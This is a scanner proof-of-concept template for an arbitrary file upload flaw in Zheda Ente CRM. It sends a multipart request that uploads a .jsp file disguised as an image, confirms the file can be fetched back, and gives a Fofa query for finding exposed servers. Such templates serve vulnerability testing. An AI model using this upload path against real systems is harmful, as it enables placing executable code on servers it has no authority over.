entsoft-crm-mailaction-entphone-fileupload: 浙大恩特CRM/entsoft/MailAction.entphone;.js?method=loadFile任意文件上传

id: entsoft-crm-mailaction-entphone-fileupload

info:
  name: 浙大恩特CRM/entsoft/MailAction.entphone;.js?method=loadFile任意文件上传
  author: wuha
  severity: critical
  verified: true
  description: |
    浙大恩特CRM/entsoft/MailAction.entphone;.js?method=loadFile任意文件上传
    Fofa: title="欢迎使用浙大恩特客户资源管理系统"
  reference:
    - https://mp.weixin.qq.com/s/yesxZD71HEKxpxQrmnsBrg
  tags: entsoft,fileupload
  created: 2023/11/14

set:
  randstr: randomLowercase(12)
  randbody: randomLowercase(30)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /entsoft/MailAction.entphone;.js?act=saveAttaFile
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\r\n\
        Content-Type: image/jpeg\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: |
      response.status == 200 && 
      response.body.bcontains(b'"visitRoot"') && 
      response.body.bcontains(b'"fileName"') && 
      response.body.bcontains(b'"isImage"') && 
      response.body.bcontains(bytes(randstr)) 
    output:
      search: '"/enterdoc/EnterMail/(?P<filename>.+?).jsp".bsubmatch(response.body)'
      filename: search["filename"]
  r1:
    request:
      method: GET
      path: /enterdoc/EnterMail/{{filename}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()